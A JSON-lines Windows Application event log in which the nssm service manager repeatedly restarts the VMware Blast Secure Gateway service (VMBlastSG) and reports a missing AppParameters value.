{"@timestamp":1646667178026,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156403}}
{"@timestamp":1646667306566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156404}}
{"@timestamp":1646667306566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156405}}
{"@timestamp":1646667306567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153164","0"]}}},"module":"Application","provider":"nssm","sequence":156406}}
{"@timestamp":1646667306567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153164","153164","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156407}}
{"@timestamp":1646667306583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156408}}
{"@timestamp":1646667306584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156409}}
{"@timestamp":1646667306584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156410}}
{"@timestamp":1646667306585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156411}}
{"@timestamp":1646667435096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156412}}
{"@timestamp":1646667435097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156413}}
{"@timestamp":1646667435097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152712","0"]}}},"module":"Application","provider":"nssm","sequence":156414}}
{"@timestamp":1646667435097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152712","152712","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156415}}
{"@timestamp":1646667435116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156416}}
{"@timestamp":1646667435116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156417}}
{"@timestamp":1646667435117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156418}}
{"@timestamp":1646667435118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156419}}
{"@timestamp":1646667563676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156420}}
{"@timestamp":1646667563677,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156421}}
{"@timestamp":1646667563678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152596","0"]}}},"module":"Application","provider":"nssm","sequence":156422}}
{"@timestamp":1646667563679,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152596","152596","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156423}}
{"@timestamp":1646667563699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153516","0"]}}},"module":"Application","provider":"nssm","sequence":156424}}
{"@timestamp":1646667563699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153516","152596","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156425}}
{"@timestamp":1646667563716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156426}}
{"@timestamp":1646667563718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156427}}
{"@timestamp":1646667563719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156428}}
{"@timestamp":1646667563720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156429}}
{"@timestamp":1646667692229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156430}}
{"@timestamp":1646667692229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156431}}
{"@timestamp":1646667692230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152640","0"]}}},"module":"Application","provider":"nssm","sequence":156432}}
{"@timestamp":1646667692230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152640","152640","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156433}}
{"@timestamp":1646667692248,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156434}}
{"@timestamp":1646667692249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156435}}
{"@timestamp":1646667692249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156436}}
{"@timestamp":1646667692250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156437}}
{"@timestamp":1646667820810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156438}}
{"@timestamp":1646667820810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156439}}
{"@timestamp":1646667820811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153248","0"]}}},"module":"Application","provider":"nssm","sequence":156440}}
{"@timestamp":1646667820811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153248","153248","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156441}}
{"@timestamp":1646667820827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156442}}
{"@timestamp":1646667820827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156443}}
{"@timestamp":1646667820828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156444}}
{"@timestamp":1646667820829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156445}}
{"@timestamp":1646667949322,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156446}}
{"@timestamp":1646667949322,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156447}}
{"@timestamp":1646667949323,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153084","0"]}}},"module":"Application","provider":"nssm","sequence":156448}}
{"@timestamp":1646667949323,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153084","153084","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156449}}
{"@timestamp":1646667949340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156450}}
{"@timestamp":1646667949341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156451}}
{"@timestamp":1646667949341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156452}}
{"@timestamp":1646667949342,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156453}}
{"@timestamp":1646668078050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156454}}
{"@timestamp":1646668078050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156455}}
{"@timestamp":1646668078051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152696","0"]}}},"module":"Application","provider":"nssm","sequence":156456}}
{"@timestamp":1646668078051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152696","152696","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156457}}
{"@timestamp":1646668078067,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156458}}
{"@timestamp":1646668078067,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156459}}
{"@timestamp":1646668078068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156460}}
{"@timestamp":1646668078069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156461}}
{"@timestamp":1646668206547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156462}}
{"@timestamp":1646668206547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156463}}
{"@timestamp":1646668206548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154092","0"]}}},"module":"Application","provider":"nssm","sequence":156464}}
{"@timestamp":1646668206548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154092","154092","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156465}}
{"@timestamp":1646668206564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156466}}
{"@timestamp":1646668206565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156467}}
{"@timestamp":1646668206566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156468}}
{"@timestamp":1646668206567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156469}}
{"@timestamp":1646668335052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156470}}
{"@timestamp":1646668335052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156471}}
{"@timestamp":1646668335053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153604","0"]}}},"module":"Application","provider":"nssm","sequence":156472}}
{"@timestamp":1646668335053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153604","153604","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156473}}
{"@timestamp":1646668335069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156474}}
{"@timestamp":1646668335070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156475}}
{"@timestamp":1646668335071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156476}}
{"@timestamp":1646668335071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156477}}
{"@timestamp":1646668463572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156478}}
{"@timestamp":1646668463572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156479}}
{"@timestamp":1646668463573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154184","0"]}}},"module":"Application","provider":"nssm","sequence":156480}}
{"@timestamp":1646668463573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154184","154184","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156481}}
{"@timestamp":1646668463592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156482}}
{"@timestamp":1646668463593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156483}}
{"@timestamp":1646668463594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156484}}
{"@timestamp":1646668463594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156485}}
{"@timestamp":1646668592116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156486}}
{"@timestamp":1646668592116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156487}}
{"@timestamp":1646668592117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152856","0"]}}},"module":"Application","provider":"nssm","sequence":156488}}
{"@timestamp":1646668592117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152856","152856","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156489}}
{"@timestamp":1646668592132,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156490}}
{"@timestamp":1646668592133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156491}}
{"@timestamp":1646668592133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156492}}
{"@timestamp":1646668592134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156493}}
{"@timestamp":1646668720624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156494}}
{"@timestamp":1646668720624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156495}}
{"@timestamp":1646668720625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154188","0"]}}},"module":"Application","provider":"nssm","sequence":156496}}
{"@timestamp":1646668720626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154188","154188","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156497}}
{"@timestamp":1646668720642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156498}}
{"@timestamp":1646668720642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156499}}
{"@timestamp":1646668720643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156500}}
{"@timestamp":1646668720643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156501}}
{"@timestamp":1646668849129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156502}}
{"@timestamp":1646668849131,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156503}}
{"@timestamp":1646668849132,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149764","0"]}}},"module":"Application","provider":"nssm","sequence":156504}}
{"@timestamp":1646668849132,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149764","149764","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156505}}
{"@timestamp":1646668849147,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156506}}
{"@timestamp":1646668849148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156507}}
